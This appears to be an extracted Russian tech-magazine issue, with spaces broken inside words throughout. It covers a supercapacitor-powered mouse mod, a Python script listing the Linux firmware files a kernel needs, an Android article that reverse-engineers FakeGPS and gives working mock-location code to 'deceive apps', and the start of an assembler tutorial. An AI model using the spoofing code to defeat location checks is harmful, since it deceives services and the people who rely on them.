Глав ное — заранее на макет ке подобр ать номинал ы резист оров
Го разд о симп атич нее все это выгл ядит уже на печат ной пла те
Ос талось соеди нить все узлы и зак репить ионис тор на двух стор он ний скотч.
Легк о заметить разъ ем зарядк и и кноп ку включ ения. К нес частью, защиты
от дурака тут не пред усм отре но, так как прос тейш ий вари ант с уста нов кой
диода здесь не про катит, а усложнять схем у мне не хотелось.
WARNING
При подк лю чении вни мательн о сле ди за поляр‐
ностью, ина че ионис тор может прев ратить ся
в тыкв у, вып люнув в тебя свои пот роха, а мыш ка
безв озв рат но перенес ет ся в мышиный рай.
По левые испыт ания показал и, что от уби того литие во го конд енсат ора мышь
работае т один‐два дня. Скольк о имен но — зависит от интенсив ности исполь‐
зования. Как ни стран но, даже бра кован ный ионист ор про демонс три ровал
впол не дос той ный результ ат. Тем интер есн ее было пос мотреть, как себя
про явит исправн ый супер конденс атор!
Второй шанс
В этот раз под нож отпра вилась мышь попр иличн ее — A4Tech FStyler FG10.
А про цесс пошел уже по накатанн ой. :)
Точ но так же я выпилил из гры зуна батарейн ый отсек и вмонт ировал разъе м
зарядк и, который заранее был перемещ ен в более безопасн ое мест о.
С плат ы так же удал ен повыша ющий пре образ ова тель. Обра ти вни мание:
в этой мыши уже исполь зует ся микр осхем а в SMD‐исполнен ии, так же как и
дрос сель. Впро чем, схе ма от это го меня ется не сильн о, и перемыч ка впа‐
ивает ся точн о так же.
Те перь мож но подк лю чать конт рол лер раз ряда и собирать все обратно.
Единс твенн ая непр ият ность была свя зана с шурупом, на котором держ ится
крышк а. Что бы его закр утить, нужн о снять крышк у батарейн ого отсек а,
но наши модифи кации это го сдел ать уже не позв оляю т. Так что я просв ерлил
допол нительн ое отверс тие, через которое зак ручива ется шуруп.
От исправн ого лити ево го ионис тора мышь ста биль но работае т двое суток
при активном использ овании. И я думаю, это весьм а дос той ный резуль тат.
ЗАРЯДКА
В закл ючение пара слов о заряд ном устрой стве для таких мышей. До это го я
о нем упо минал лишь всколь зь, но именн о оно обес печива ет быс трую заряд‐
ку ионист оров. Я исполь зую стан дарт ный компью терн ый блок питания
на 300 Вт.
Для литие вых ионис торов все три виаль но: с помощью спе циаль ного
шнур ка мышь на 20 с подк лю чает ся к линии 3,3 В на разъ еме БП, пос ле чего
мож но счи тать, что зарядк а законч ена. Сам шну рок макс ималь но прост:
на одном конц е цан говый разъе м (папа), а на дру гом — «крок одил ы» для под‐
клю чения к БП.
Вмес то компь ютерн ого бло ка можн о использ овать лабора тор ный, и тогд а
напр яжение удаст ся подн ять уже до 3,6 В и врем я работы устрой ства уве‐
личит ся.
С обыч ными ионист орами нес коль ко сложн ее, так как у них номиналь ное
напр яжение 2,7 В. Впро чем, и их я тоже заряжаю от линии 3,3 В, толь ко
допол нитель но конт ро лирую напр яжение на ионист оре вольт мет ром, прек‐
ращая заряд на отметке окол о 2,5 В. Из‐за гро мад ной емкости в 500 Ф заряд
даже током в 6 А про тека ет вов се не мгнов ен но, и его впол не мож но усле дить
по вольт метр у. А избы ток напр яжения прос ажи вает ся на пров одах, от чего
они замет но наг рева ются. Весь проц есс занимае т не больш е 30 с.
Был а у меня так же идея встав ить в разр ыв диод, что бы понизить нап‐
ряжение и отказ ать ся от воль тмет ра, но на диод надо став ить хороший ради‐
атор, инач е его очень скор о навест ит белый полярн ый пушис тый зве рек. Так
что я на вре мя отказ ал ся от такой идеи. Как ты понимае шь, в этом слу чае
лаборат орн ый БП будет осо бен но хорош.
Нес кольк о слов сто ит ска зать и про режим заряда. Ионист оры спос об ны
к быс тро му заряду, одна ко посл е этог о нап ряжение на них прос ажив ает ся
на 10–30% за неск оль ко десят ков минут в зависим ост и от качест ва ионис‐
тора. Пробл ема решае тся дли тельн ым зарядом, в даташит ах рекоменд уют
держ ать на ионист оре заданн ое нап ряжение око ло две надц ати часов
для пол ного заряда. Это дей ствит ель но работа ет, но на практ ике в реаль ной
жизн и эти потери несущест вен ны и ими впол не мож но пре небр ечь.
ИДЕИ И УЛУЧШЕНИЯ
А что же дальш е? Раз вивать тему мож но в неск оль ких напр авле ниях. Сюда
опре деленн о сто ит добавить сист ему бес про водн ого заряда, хотя это, конеч‐
но, замет но усложнит всю конст рук цию. С бесп ров од ной зарядк ой можн о
и ионис тор помень ше став ить, осо бенн о если заряд ку дополн ительн о встро‐
ить в ков рик. Есть даже подх одящая публ икация от 2007 года с конц ептом.
Так же, воз можно, сто ит исполь зовать для лити евых ионис торов step‐down‐
прео бра зова тель с 2,2 В на выходе. Но тут все же нуж но снач ала под счит ать,
даст ли это реаль ный выиг рыш во вре мени работы, так как КПД такого пре‐
образ оват еля далеко не сто проц ент ов.
ТРЮКИ
Даниил Батурин ТОЛЬКО
Координатор проекта VyOS САМОЕ
(https://vyos.io), «языковед», НУЖНОЕ
функциональщик, иногда
ИЗБАВЛЯЕМ LINUX
сетевой администратор ОТ БАГАЖА ПРОШИВОК
[email protected]
ДЛЯ ОБОРУДОВАНИЯ
Разр абот чики Linux подд ержи вают не толь ко мно жест во
драйв еров устройс тв в исходном коде ядра, но и больш ую
колл екцию прош ивок к устрой ствам в пакете linux‐firmware.
Но когд а разм ер сист емы име ет знач ение — нужн о отсечь
лишн ее. Модули ядра легк о отключ ить в make menuconfig,
а вот выбр ать нужн ые прош ивк и сложн ее. Поэто му сегод ня
мы напишем скрипт, который позв олит тебе извлечь
из полугиг абай тной кол лекции прош ивок нес коль ко
мегабайт, нуж ных именн о твое й машине.
С железом неред ко бывае т так, что одног о драйв ера в прост ранст ве ядра ОС
для его работы недос таточн о. Нуж на так же про шивк а (firmware), которая заг‐
ружае тся в само устрой ство. Точ ный фор мат и назн ачения прош ивк и зачас‐
тую извест ны толь ко прои звод ите лю: иног да это прогр амма для мик рокон‐
трол лера или FPGA, а иног да прост о набор дан ных. Польз овате лю это не важ‐
но, главн ое, что устройс тво не работае т, если ОС не загр узит в него прош ив‐
ку.
В сво бод ных опер ацио нных сист емах прош ив ки неред ко вызыва ют спор ы.
Мно гие из них расп ростра няют ся под несв обод ными лицен зиями и без
исходно го кода. Авто ры OpenBSD и ряда дис триб ути вов GNU/Linux счит ают
это пробл емой и со сво бодой, и с безопас ностью и прин ципи альн о не вклю‐
чают такие про шивк и в уста новочн ый образ.
Есл и у тебя есть устройс тво, которое тре бует прош ив ки, и тебе нужн о, что‐
бы оно работа ло, воп рос лицен зии прош ив ки ста новит ся чист о ака деми чес‐
ким — от необ ходимос ти иметь ее в сист еме и заг ружать ты никуда
не уйдешь.
Пол ный набор из linux‐firmware занимае т более 500 Мбайт в расп акован‐
ном виде. При этом каж дой отдельн о взят ой сис теме тре бует ся толь ко
неболь шая часть этих фай лов, осталь ное — мер твый груз.
Да же в сов ременн ом мире с дис ками на неск оль ко терабайт еще мно го
слу чаев, ког да раз мер име ет знач ение: встраи ваемые сис темы, образ ы
для загр узки через PXE и подоб ное. Хорошо, если о board support package
позабо тил ся кто‐то дру гой, но это не всег да так.
Есл и ты точн о зна ешь пол ный спис ок нуж ного железа, можн о извлечь фай‐
лы вручн ую. Впро чем, даже в этом случ ае найт и нуж ные файл ы может быть
непр осто — linux‐firmware предс тав ляет собой не очень струк туриров ан ную
кучу файл ов, и списк а соот ветст вия файл ов имен ам модулей ядра там нет.
А если ты хочешь дать поль зовате лям возм ожность легк о соб рать свой
образ, тут и вов се нет выбора — нужн о авто матич еск ое решение.
В этой статье я рас скаж у о сво ем спо собе авто мати чес кой сборк и. Он
неидеален, но авто мати зиру ет больш ую часть работы, что уже неп лохо.
Писать скрипт будем на Python 3.
INFO
При меры кода в статье упро щенн ые. Готовый
и работа ющий скрипт ты можешь най ти
на GitHub.
К прим еру, можн о им просм отреть спи сок про шивок для включ енн ых в
.config драй веров сетевых карт Realtek.
$ make menuconfig
$ make prepare
$ list‐required‐firmware.py ‐s drivers/net/ethernet/realtek/
rtl_nic/rtl8168d‐1.fw
rtl_nic/rtl8168d‐2.fw
rtl_nic/rtl8168e‐1.fw
...
ОСНОВЫ
В ядре Linux нет гло бальн ого списк а про шивок и кода для их заг рузки. Каж‐
дый модуль загр ужае т свои прош ив ки с помощью фун кций из семейс тва re‐
quest_firmware. Логичн о, если учесть, что проц еду ра загр узки прош ив ки
у каж дого устрой ства раз ная. Соот ветст венн о, информа ция о нуж ных про‐
шив ках раз бро сана по множ ес тву отдель ных файл ов с исходным кодом.
На пер вый взгляд, некото рую надеж ду дает опция сбор ки FIRMWARE_IN_K‐
ERNEL. Увы, на деле она встра ивает в файл с ядром толь ко файл ы, которые ты
явно укаж ешь в EXTRA_FIRMWARE. Так что файл ы все равн о снач ала при дет ся
найт и.
По иск по вызовам request_firmware() тоже не очень пер спект ивен.
Некото рые модули под держи вают нес кольк о разн ых прош ивок, да и имя фай‐
ла част о хра нит ся в переменн ой. В качест ве при мера можн о пос мотреть
на фрагм ент кода из драй вера сетевой кар ты Intel e100.
К счастью для нас, модули дол жны ука зывать нуж ные им фай лы про шивок
с помощью мак роса MODULE_FIRMWARE(). Прим ер можн о най ти в e100. Этот
мак рос опред елен в файл е include/linux/module.h.
Имен но из вывода этог о мак роса берет ся информац ия о прош ивк ах,
которую мож но увид еть в выводе утил иты modinfo.
$ sudo modinfo e100 | grep firmware
firmware: e100/d102e_ucode.bin
firmware: e100/d101s_ucode.bin
firmware: e100/d101m_ucode.bin
В ряде случ аев мож но было бы обойт ись одной modinfo. Если у тебя есть
соб ранное ядро и возм ожность его заг рузить, ты можешь прос мотреть вывод
modinfo для каж дого нуж ного модуля. Это не всегд а удобн о или вооб ще воз‐
можно, так что мы про дол жим искать решение, для которог о понадо бит ся
толь ко исходный код ядра.
Здесь и далее будем счит ать, что все ненужн ые модули отключ ены в кон‐
фиге сбор ки ядра (Kconfig). Если мы собира ем образ для конк рет ной сис‐
темы или огран иченн ого набора сис тем, это впол не логич ное пред положе‐
ние.
ИЩЕМ ИСХОДНИКИ МОДУЛЕЙ
Что бы соб рать спи сок имен файл ов про шивок, мы сна чала сост авим спис ок
всех файл ов исходно го кода ядра, где они исполь зуют ся. Затем мы про гоним
эти фай лы через препр оцес сор из GCC, чтоб ы рас крыть все мак росы,
и извле чем собст венн о име на нуж ных файл ов.
Находим все включенные в конфиге модули
Это самая прос тая часть. Конф иг сборк и ядра име ет прос той форм ат
«ключ — зна чение» врод е CONFIG_IWLWIFI=m. Зна чение может быть n (не
собирать), y (встро ить в ядро) или m (собр ать в виде модуля).
Нас интер есую т толь ко клю чи, а какое зна чение там, y или m, нам не важ но.
Поэто му мы можем выгр ести нужн ые стро ки регулярн ым выражен ием
(.*)=(?:y|m). В модуле re из Python синт аксис (?:...) использ ует ся
для незахв атыва ющих групп (non‐capturing group), так что захв ачена будет
толь ко часть в скоб ках из (.*)=.
def load_config(path):
with open(path, 'r') as f:
config = f.read()
targets = re.findall(r'(.*)=(?:y|m)', config)
return targets
Находим нужные каталоги и файлы исходников
В каж дом Makefile можн о най ти выражен ия вида obj‐$(CONFIG_SOMETHING)
+= .... Переменн ые CONFIG_SOMETHING разр ешаю тся в их знач ения из кон‐
фига и, соот ветст венн о, добав ляют ся в списк и целей obj‐y (встро ить в ядро)
и obj‐m (остав ить модулем).
В файл ах верх нег о уров ня (вро де drivers/net/wireless/intel/Make‐
file) в качест ве знач ения фигурир ует подк аталог с модулем, врод е obj‐$(
CONFIG_IWLWIFI) += iwlwifi/. Внут ри катало га с модулем (drivers/net/
wireless/intel/iwlwifi/Makefile) упо минае тся конечн ый объе ктный
файл, наподо бие obj‐$(CONFIG_IWLWIFI) += iwlwifi.o. Мы огра ничим ся
слу чаем с целью‐катало гом.
Це ли‐катало ги мы будем искать по выражен ию obj‐\$\((.*)\)\s+\+=\s+
(.*)/(?:\n|$) в Makefile.
def find_enabled_subdirs(config, makefile_path):
with open(makefile_path, 'r') as f:
makefile = f.read()
dir_stmts = re.findall(r'obj‐\$\((.*)\)\s+\+=\s+(.*)/(?:\n|$)',
makefile)
subdirs = []
for ds in dir_stmts:
config_key, src_dir = ds
if config_key in config:
subdirs.append(src_dir)
return subdirs
А что с целями‐фай лами? Если мы говорим о модулях из нес кольк их файл ов
в катало ге, то их фай лы *.c мы обраб ота ем при обход е самого катало га.
Сущест ву ют модули из одног о фай ла, в основном для стар ых устройс тв врод е
drivers/net/ethernet/intel/e100.c. Таких модулей весьм а немн ого, так
что мы игно рируе м их сущес твов ание. При желании мож но добавить обра‐
бот ку подоб ных случ аев, но я не увер ен, практ ично ли это. Луч ше мы чуть поз‐
же сде лаем так, что бы их про шив ки были вклю чены по умол чанию, а не вык‐
лючены.
Ну и наконец, нам нужен спо соб отфильт ро вать фай лы, в которых есть
ссыл ки на про шив ки. Это сов сем прост о для кажд ого, кто зна ком с регуляр‐
ными выражен иями.
def file_loads_firmware(file):
with open(file, 'r') as f:
source = f.read()
if re.search(r'MODULE_FIRMWARE\((.*)\)', source):
return True
Мы игно риру ем аргум ент мак роса MODULE_FIRMWARE. Чаще все го там
не явное имя фай ла, а друг ая кон стан та, а то и целое выраже ние. Поэтом у мы
снач ала сос тавим спи сок нуж ных файл ов с исходник ами, а потом уже будем
разб иратьс я, что с ними делать.
Ос талось соб рать воеди но функ цию для пост ро ения спис ка фай лов
из указ ан ного катало га, в которых есть ссыл ки на прош ив ки.
def collect_source_files(config, path):
files = []
makefile = os.path.join(path, "Makefile")
c_files = glob.glob("{0}/*.c".format(path))
files = list(filter(file_loads_firmware, c_files))
enabled_subdirs = find_enabled_subdirs(config, makefile)
subdirs = glob.glob("{0}/*/".format(path))
for d in subdirs:
dir_name = d.rstrip("/")
if os.path.exists(os.path.join(d, "Makefile")):
if os.path.basename(dir_name) in enabled_subdirs:
files = files + collect_source_files(config, d)
else:
c_files = glob.iglob("{0}/**/*.c".format(d), recursive=
True)
files += list(filter(file_loads_firmware, c_files))
return files
Очень эко номит вре мя библ иоте ка glob из станд арт ной пост авки Python 3.
С верс ии 3.5 у нее есть подд ер жка рекурс ии. Некото рые модули содер жат
вло жен ный каталог с исходни ками, а порой и не один. Если в таком каталог е
есть свой Makefile, то это незави симый модуль, что мы обраб атыв аем в пер‐
вой вет ке усло вия. Одна ко, если Makefile отсутст ву ет, это «прост о» под‐
каталог, и нам нуж ны все фай лы *.c из него и всех под каталог ов. Модуль glob
умее т это не хуже, чем шелл, и выражен ие **/*.c отлично работа ет (если
не забыть recursive=True).
ИЗВЛЕКАЕМ ДАННЫЕ О ПРОШИВКАХ
Ост ает ся пос леднее — извлечь собст вен но имен а файл ов про шивок. Будем
про гонять файл ы с исходным кодом через преп роцес сор из GCC, чтоб ы
вмес то имен мак росов получить готовые стро ки имен файл ов из linux‐
firmware.
Во обще, остан овить GCC пос ле стад ии препр оцес сора мож но опци ей ‐E.
Увы, для это го нужен прав иль ный спи сок каталог ов с заголов очн ыми фай‐
лами. Некото рые модули, вро де упом яну того iwlwifi, содерж ат мно жест во вло‐
женн ых катало гов и использ уют, кро ме стан дар тных заголов ков ядра, еще и
свои общие файл ы, что силь но усложняе т дело.
Од нако в Makefile ядра есть цели для файл ов *.i — это как раз фай лы *.c
посл е обраб от ки препр оцесс ором.
К прим еру, make drivers/net/wireless/intel/iwlwifi/cfg/9000.i
прев ратит файл 9000.c в голый C без дирек тив и мак росов. Мак рос MODULE_‐
FIRMWARE генерир ует для полей струк туры данн ых о модуле уник альн ые име‐
на, которые мож но узнать по подст рок е __UNIQUE_ID_firmware. Эти стро ки
мы и будем извлек ать.
static const char __UNIQUE_ID_firmware338[] __attribute__((__used__))
__attribute__((section(".modinfo"), unused, aligned(1))) = "firmware"
"=" "iwlwifi‐9000‐pu‐b0‐jf‐b0‐" "46" ".ucode";
Выр аже ние вида const char* hello = "hello" " " "world" — немн ого
неп ривычн ый, но впол не законн ый спос об записи стро ковых кон стант, экви‐
валент ный const char* hello = "hello world". Нам при дет ся это учесть.
fw_files = []
for sf in source_files:
i_file = re.sub(r'\.c', r'.i', sf)
res = subprocess.run(["make {0} 2>&1".format(i_file)], shell=True
, capture_output=True)
if res.returncode != 0:
print("Failed to preprocess file {0}".format(sf), file=sys.
stderr)
print(res.stdout.decode(), file=sys.stderr)
else:
with open(i_file, 'r') as f:
source = f.read()
fw_statements = re.findall(r'__UNIQUE_ID_firmware.
*"firmware"\s+"="\s+(.*);', source)
fw_files += list(map(lambda s: re.sub(r'(\s|")', r'', s),
fw_statements))
Из всех спо собов выпол нить внешн юю прогр амму мы восп ольз овались
самым быс трым и гряз ным — subprocess.run([command], shell=True,
capture_output=True). В таких скрипт ах, где Python, по сути, отби рает
работу у sh, я каж дый раз радую сь, что этот спос об там есть.
ЗАКЛЮЧЕНИЕ
Мо жет быть, извле чение дан ных о прош ивк ах из кода ядра и дост аточ но экзо‐
тич ная задача. Но даже если сам скрипт тебе не при годит ся, впол не веро‐
ятно, ты узнал что‐то новое об орган иза ции исходног о кода ядра Linux и смо‐
жешь прим енить мой опыт в свои х скрипт ах автом ати зации.
ТРЮКИ
ФИКТИВНЫЙ
АДРЕС
КАК ПОДМЕНИТЬ
ГЕОЛОКАЦИЮ
НА ANDROID,
ЧТОБЫ ОБМАНЫВАТЬ
ПРИЛОЖЕНИЯ
В Android сущес тву ет замечат ель ная воз‐ Mazay
можность назн ачать пост авщи ком геокоор‐ [email protected]
динат любую прог рамму, и вся сист ема
будет использ овать те широту и дол готу,
которые она выдаст. В этой статье я
покажу, как этим поль зоватьс я и как самому
написать прогр амму для спуф инг а коор‐
динат GPS.
Идея родилась у меня в проц ес се написа ния статьи «Мо нито рим монито ринг.
Что внут ри у при ложен ия для изол яции на дому» — имен но тогд а я обнар ужил
воз можность менять пост авщик а коорд инат в опе рацио нной сис теме, что
открыв ает для поль зовател ей мног о интер есн ых воз можнос тей.
С точк и зре ния юзе ра все очень прост о: нуж но лишь уста новить спец иаль‐
ное при ложен ие, затем вклю чить в нас тройк ах режим раз работ чика и выбр ать
устан ов ленное при ложен ие в качест ве пос тавщик а фикт ивног о мест ополо‐
жения. Таких прог рамм великое множ ес тво — от прос тень ких до доволь но
раз весист ых, умею щих не толь ко подм енять коорд инаты на заданн ые, но и
менять их по расп исанию или прои грыв ать заранее записанн ые трек и, чтоб ы
имит иро вать движ ение телефо на по какому‐то марш ру ту. В общем, вбив ай
зап рос «Fake GPS» и выбирай по вку су.
Сраз у пред упр еждаю: надежн ость это го метода не очень высокая.
При желании мож но прог рамм но отсле дить наличие на телефон е такой прог‐
раммы‐пост авщи ка, и если прог рамма серье зная, то прос то так обду рить ее
может не получить ся.
Я же захотел разобр ать ся, как именн о работа ет этот механизм, и соз дать
собс твенн ое прил ожен ие для спуф ин га. А начал я с того, что посм отрел,
как этот алго ритм реализ ован в одном из бесп лат ных прил ожен ий. Не читать
же документ ацию, вер но?
РЕВЕРСИМ FAKEGPS
В качест ве подопыт ного крол ика было взя то при ложе ние FakeGPS 5.0.0.
Внеш не прил оже ние предс тав ляет собой кар ту, на которой можн о уста новить
мар кер в про изволь ную точ ку и с помощью кноп ок «Старт» и «Стоп» запуск ать
или остан авл ивать тран сляц ию коор динат выб ранной точ ки.
Во оруж ив шись JEB Decompiler, откры ваем и смот рим. Пер вое, что бро‐
сает ся в глаз а, — это наличие в манифест е перм ишена android.permis‐
sion.ACCESS_MOCK_LOCATION.
<uses‐permission android:name="android.permission.INTERNET" />
<uses‐permission android:name="android.permission.
ACCESS_NETWORK_STATE" />
<uses‐permission android:name="android.permission.
WRITE_EXTERNAL_STORAGE" />
<uses‐permission android:name="android.permission.WAKE_LOCK" />
<uses‐permission android:name="android.permission.
ACCESS_COARSE_LOCATION" />
<uses‐permission android:name="android.permission.
ACCESS_FINE_LOCATION" />
<uses‐permission android:name="android.permission.
ACCESS_MOCK_LOCATION" />
<uses‐permission android:name="android.permission.WRITE_SETTINGS" />
<uses‐permission android:name="com.android.vending.BILLING" />
В основной актив ити ничего инте ресн ого не обна ружен о, обыч ная иниц иали‐
зация и нас трой ка, но есть сер вис с говоря щим наз вание м FakeGPSService.
По пытае мся прорв ать ся сквозь деб ри обфускац ии и посм отреть, что в нем
есть инте ресн ого.
В методе onCreate имее тся такой код:
this.f = "gps";
this.d = (LocationManager)this.getSystemService("location");
try {
if(this.d == null) {
goto label_46;
}
this.d.removeTestProvider(this.f);
goto label_46;
} catch(IllegalArgumentException | NullPointerException unused_ex) {
goto label_46;
}
label_46:
if(this.d != null) {
this.d.addTestProvider(this.f, false, false, false, false, true,
false, false, 0, 5);
this.d.setTestProviderEnabled(this.f, true);
}
Есл и про ще, то ини циали зируе м LocationManager зна чение м this.getSys‐
temService("location"), затем уда ляем тес тового про вайд ера
"gps" функ цие й removeTestProvider и добав ляем заново с помощью фун‐
кции addTestProvider, не забывая пос ле этог о вклю чить его фун кцие й
setTestProviderEnabled("gps", true). Всё, тес товый про вай дер добав‐
лен и вклю чен. А далее при изме нении поль зовате лем коор динат созд аем
и устан ав лива ем новое мест ополо жение в фун кции onEventMainThread:
// Создаем
long v1 = System.currentTimeMillis();
Location v3 = new Location("");
v3.setProvider("gps");
v3.setLatitude(arg10.latitude);
v3.setLongitude(arg10.longitude);
v3.setAltitude(((double)FakeGPSService.p));
v3.setBearing(((float)FakeGPSService.q));
v3.setTime(v1);
v3.setAccuracy(((float)FakeGPSService.o));
v3.setElapsedRealtimeNanos(SystemClock.elapsedRealtimeNanos());
// И устанавливаем
try {
this.d.setTestProviderLocation(this.f, v3);
Log.d("GpsMockProvider", v3.toString());
} catch(IllegalArgumentException unused_ex) {
}
Вро де бы все более‐менее ясно, мож но прист упать к написа нию свое го про‐
вай дера фикт ивных мест ополож ений.
ПИШЕМ КОД
Сра зу скаж у, я не став лю перед собой задачи соз дать готовое к прак тичес‐
кому использ ованию при ложе ние. Я буду делать макет с минимальн ым
набором фун кций, который прод емонст ри рует работосп особ ность при веден‐
ного спо соба. Так что фик тивные коор динаты будем задавать жест ко в коде
и уста нав ливать их один раз при соз дании пров айд ера. Кому интер есн о, тот
уже сам допилит до нужн ого уровн я.
Итак, запус каем Android Studio и соз даем прое кт с пус той акти вити.
До бав ляем в манифест android.permission.ACCESS_MOCK_LOCATION, посл е
чего «Студ ия» начина ет ругать ся, что это раз решение дос тупно толь ко сис‐
темным прил оже ниям, да еще может быть добав лено тольк о в тест овый
манифест. Тут можн о не заморач ивать ся, а прос то понажим ать кноп ки
Alt+Shift+Enter и Alt‐Enter, след уя под сказк ам, и «Сту дия» сама все сде лает
за нас. Затем добавл яем на старт овую акти вити две кноп ки.
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">
<Button
android:id="@+id/btnDelGPS"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:onClick="DelGPS"
android:text="Удалить провайдер GPS" />
<Button
android:id="@+id/btnAddGPS"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:onClick="AddGPS"
android:text="Добавить провайдер GPS" />
</LinearLayout>
И добав ляем соот ветс твую щий код.
public class MainActivity extends Activity {
LocationManager mLocationManager;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// Инициализируем LocationManager
mLocationManager = (LocationManager) getSystemService(Context.
LOCATION_SERVICE);
}
public void AddGPS(View view) {
// Добавляем тестовый провайдер
mLocationManager.addTestProvider(LocationManager.GPS_PROVIDER,
false, false,
false, false, true, true,
true, android.location.Criteria.POWER_LOW, android.location.
Criteria.ACCURACY_FINE);
// Включаем тестовый провайдер
mLocationManager.setTestProviderEnabled(LocationManager.
GPS_PROVIDER, true);
// Задаем фиктивную точку
Location newLocation = new Location(LocationManager.GPS_PROVIDER);
newLocation.setLatitude(55.75578);
newLocation.setLongitude(37.61786);
newLocation.setTime(System.currentTimeMillis());
newLocation.setAccuracy(25);
newLocation.setElapsedRealtimeNanos(System.nanoTime());
mLocationManager.setTestProviderLocation(LocationManager.
GPS_PROVIDER, newLocation);
}
public void DelGPS(View view) {
// Удаляем наш тестовый провайдер
mLocationManager.removeTestProvider(LocationManager.GPS_PROVIDER);
}
}
Комп илиру ем и уста навл ивае м. Затем идем в наст рой ки раз работ чика
на телефо не, выбира ем наше прил ожен ие в качес тве пост авщи ка фикт ивных
мест ополо жений, тряс ущим ися от вол нения (как же, мы же тольк о что написа‐
ли собст вен ный пост авщик мест ополо жений!) руками запус каем наше при‐
ложен ие и жмем кноп ку «Добавить про вайд ер GPS».
Ни чего не про исхо дит. Ничего, собст венн о, и не дол жно про исхо дить.
Есл и прил оже ние запус кает ся не перв ый раз, то возм ожно падение из‐за
того, что тест овый про вай дер с таким имен ем уже соз дан. Тогд а надо пов‐
торно запус тить прил оже ние и уда лить пров ай дер кноп кой «Уда лить пров ай‐
дер GPS», а затем созд ать его заново кноп кой «Добавить пров айд ер GPS».
Я намеренн о не стал добав лять обра бот ку таких оши бок, что бы
не засорять код, мы же пишем макет, а не финальн ую верс ию. Впро чем,
можешь при сылать пулл‐рек весты, ссыл ка на GitHub будет в кон це статьи :)
ТЕСТИРУЕМ
Сво рачи ваем прил оже ние и прис тупа ем к тес там. Запус каем «Яндекс Кар ты»
и попада ем точн о на Крас ную пло щадь, в нулевой километр, как и было
задуман о. Ура, получил ось!
Ну, поч ти получи лось. Если поп робовать запуст ить Google Maps, почему‐то
мы попада ем на пло щадь Ком сомола в городе Урю пин ске. Вер нее, понят но,
почему попада ем, непонят но, почему не работа ет наш TestProvider.
Ска жу чест но, ответ на этот воп рос я искал нес коль ко дней, но все ока‐
залось довольн о прос то — надо отклю чить в наст ройк ах телефо на геоло‐
кацию Google. Эта нас трой ка позв оляе т не замора чиватьс я с выбором про‐
вайд ера: телефон сам реша ет, из какого источник а брать коор динаты.
Начинае т с самых точн ых, то есть GPS, затем, если спут никовое позици они‐
рова ние недост упно, перехо дит к базовым станц иям, затем по сетям Wi‐Fi,
а затем яко бы даже использ ует аксе леро метр, что бы най ти себя в прос транс‐
тве.
Итак, про буем — отклю чаем геолок ацию Google и запуск аем «Кар ты».
Сра ботал о, мы сно ва на Крас ной пло щади.
Итак, этот спо соб поз воля ет под менять реаль ные коорд инаты GPS фик‐
тивны ми, но хотелось бы решить задачу пол ностью — подм енять мест ополо‐
жение начист о, без всяк их скид ок. Что интер есн о, наш подопыт ный крол ик
FakeGPS работа ет корр ек тно независ имо от наст рое к геоло кации Google.
Что ж, будем ковырять даль ше.
ИСПРАВЛЯЕМ ОШИБКИ
Прис мотрев шись к серв ису FakeGPSService чуть более вни матель но, я
заметил, что там еще исполь зует ся некий GoogleApiClient. Приз наюсь,
при перв ичном ана лизе я с ходу решил, что он нужен для рек ламы, и не стал
больш е обращ ать на него вним ание. А еще там есть вот эти два метода:
LocationServices.FusedLocationApi.setMockMode()
LocationServices.FusedLocationApi.setMockLocation()
Каж ет ся, это то, что нужн о. Погугл ив документ ацию (от нее все же не уйти!),
выяс няем, что FusedLocationApi нем ножко уста рел и вмес то него рекомен‐
дует ся использ овать FusedLocationProviderClient.
Что же, поп робу ем. Добавл яем в разд ел dependencies файл а build.gradle
такую строчк у:
implementation 'com.google.android.gms:play‐services‐location:17.0.0'
Ин терес но, что посл е добавл ения этой строчк и объ ем при ложен ия выраст ает
с 11 Кбайт до 1 Мбай та с хвост иком.
В конец фун кции AddGPS дописыв аем пару строк.
LocationServices.getFusedLocationProviderClient(this).setMockMode(true
);
LocationServices.getFusedLocationProviderClient(this).setMockLocation(
newLocation);
Ком пилируе м и запус каем — теперь норм аль но работа ет и в Google Maps
с вклю ченн ой геоло каци ей, и в «Яндекс Карт ах». Победа!
WWW
•Пол ный исходный код прог раммы
•Библ иоте ка, которая вычисл яет фикт ивных пос‐
тавщи ков мест ополож ений
КОДИНГ
Антон Карев
Эксперт по информационной
безопасности. Область
профессиональных
интересов — технологическая
разведка, аналитика в сфере
ИБ и искусственный
интеллект
[email protected]
ПОГРУЖЕНИЕ В
ASSEMBLER
ОСВАИВАЕМ АРИФМЕТИЧЕСКИЕ
ИНСТРУКЦИИ
Проч итав эту статью, ты научишь ся поль зоватьс я ариф‐
метичес кими и логичес кими инс трукц иями, а такж е инст рук‐
циями сдвиг а. Попутн о узна ешь, как созд авать под прог‐
раммы. А в конц е напишешь прос тень кую игрушку «Уга дай
чис ло».
Другие статьи курса
• Пог ружение в assembler
• Дел аем пер вые шаги в освое нии асма
• Как работаю т переменн ые, режимы адрес ации, инст рук ции условно го
перехо да
Больш инс тво тех инс трук ций, о которых ты узнае шь из этой статьи, при нима‐
ют на вхо де два аргум ен та. Каж дый отдельн о взя тый аргу мент — это либо
регистр, либо память, либо кон стант а. Поч ти все их сочетан ия допуст имы:
регистр‐регистр, регистр‐память, память‐регистр, регистр‐конс тант а,
память‐конс тант а. Единс твенн ое недопус тимое сочетан ие — память‐память.
Рег ис тры могут быть 16‐ или 8‐бит ными. 16‐бит ные регис тры: AX, BX, CX,
DX, SI, DI, BP и SP. 8‐бит ные регист ры: AH, AL, BH, BL, CH, CL, DH и DL.
ПИШЕМ ВСПОМОГАТЕЛЬНУЮ ПОДПРОГРАММУ
У всех прог рамм, которые мы с тобой сейч ас напишем, есть пов торя ющееся
дей ствие: вывест и резуль тат на экран. Чтоб ы не писать код для этог о дей‐
ствия каж дый раз заново, давай напишем для него под прог рамму.
Что такое под прог рамма? Это кусок кода, который выпол няет какую‐то
неболь шую задачу. К подп рогр амме обыч но обра щают ся через инст рук цию
call. Все подп рогр аммы закан чиваю тся инс трукц ией ret (RETurn).
По ка это все, что тебе нуж но знать о под прог раммах. Конечн о,
по‐хорошем у, ког да поль зуешь ся подп рогр аммам и, надо бы понимать
еще нес кольк о вещей, в час тнос ти что такое указ атель сте ка и как он меня‐
ется при обра щении к подп рог рамме. Но пока, в рамк ах текущег о уро ка,
